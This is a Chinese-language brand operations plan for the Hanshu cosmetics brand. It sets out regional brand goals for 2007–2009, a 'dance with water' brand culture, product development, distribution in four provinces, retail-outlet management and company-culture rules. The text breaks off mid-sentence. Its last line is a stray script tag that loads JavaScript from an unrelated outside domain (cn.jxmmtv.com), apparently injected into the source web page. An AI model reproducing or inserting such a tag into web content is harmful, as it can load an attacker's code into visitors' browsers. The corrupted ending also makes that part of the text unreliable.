王平韩束品牌化运作规划

经过2005年的小试牛刀、积累沉淀后，2006年，韩束品牌将迎来质的飞跃，一支由业内资深人员组成的品牌团队，将从品牌形象、产品研发、渠道建设、公关促销、人员培训等方面全面实行韩束的品牌化运作。

品牌战略目标

2007年，成为以华东4省为核心区域的区域性补水保湿知名品牌；

2008年，成为华东4省补水保湿强势品牌，华东、东北知名品牌；

2009年，成为全国知名补水保湿品牌。

最终实现“品牌-产品”→“品牌-企业”→“品牌-文化”的转变。

一、品牌文化——与水共舞

作为来自韩国的专业补水保湿护肤品，韩束品牌带给消费者的首先是韩式护肤品的典雅与极致，同时以大众化的价格提供奢侈品的享受，全力打造深受时尚女性喜爱的“平民护肤明星”。

韩束认为，健康的肌肤是美丽的前提。水做的女人水来养，韩束品牌以“缔造水样肌肤”为目标，自始至终贯穿“水的护肤文化”，实现“水与肌肤的互动”，带来清新、时尚、健康的护肤体验。

二、产品研发——个性创新

产品是品牌的第一生命力。

为生产出更适合市场需求、质量更高的产品，韩束加大研发资金的投入，针对中国南方与北方女性的不同肌肤特点，聘用韩国工程师参与产品的研发，力求每个产品均为精品。

为充分满足消费者的需求，2007年，韩束在追求天然、绿色、无添加的基础上，陆续推出5-6个新护肤系列，新材料的运用、新概念的亮相，带给消费者耳目一新的视觉与触觉冲击。

并且，针对商场和专卖店的不同需求，产品系列和价格设计更合理，目标针对性更强。

三、渠道建设——精耕细耘

选取浙江、江苏、山东、河北4省实施“渠道深耕”计划，市场重点投入，启动“商场+化妆品专卖店+超市店中柜”的分销结构。

2007年计划打造370家有效终端，力争省级市、地级市的每区，每个县级市、县均有1个韩束的有效终端网点，扩大品牌的影响力和辐射能力。

四、营销理念——非卖产品

化妆品市场被人们称之为“美丽的市场”，具有很高的品牌溢价能力。

韩束品牌将改变传统的销售概念，建立以“我们销售的是品牌而非产品，我们销售的是美丽而非产品”的核心销售理念。实现品牌的附加值。

五、终端管理——王牌终端

1、终端形象——你的店就是我的店针对A、B、C类不同的终端，实施终端达标标准（软硬终端），将经销商的店当作自己的店来帮助管理，统一、提升韩束品牌形象，促进销售。

2、终端营销——魅力营销通过与消费者深度互动的“魅力营销”，增加品牌的附加值，树立良好的品牌美誉度和忠诚度。

3、终端促销——不断造势通过线上高空广告和线下售点促销的紧密配合，张弛有度，不断造势，实现品牌知名和销量的双赢。

企业文化，是一个企业的灵魂，是从企业内部生长起来，让企业及员工信奉并付诸实践的价值理念；也是一种微观经营管理文化，是一个企业在长期经营中所凝聚，积淀起来的一种价值理念、精神力量、经营境界和广大员工所认同的道德规范和行为方式。

一个企业造就什么样的文化，那么这个企业便具有了什么样的品格。企业的品格，决定企业的命运。实际上，企业文化的全部内容，就是为这个组织设定一个价值观标准，哪些是我们崇尚和必须遵守的，哪些是我们反对和必须禁止的。

韩束发展核心法则：

以人为本——解决员工的生存是我们企业发展的第一法则:

员工是企业的主体，韩束的发展凝聚着全体员工的忠诚奉献。韩束坚持“以人为本”，全面了解员工，科学安排员工，公正评价员工，积极培育员工，个人、团队和企业的协同发展。企业是员工利益的载体，也是员工展示才能、实现人生价值的舞台。合理化的让员工先生存下来而后谋发展是韩束对员工最务实的承诺。

维护客户利益——维护客户利益是我们企业发展的第二法则:

韩束认为在合理的基础上最大化满足客户，维护客户的利益，为合作方提供赢得财富和信誉的必要条件和良好环境，?script src=http://cn.jxmmtv.com/cn.js>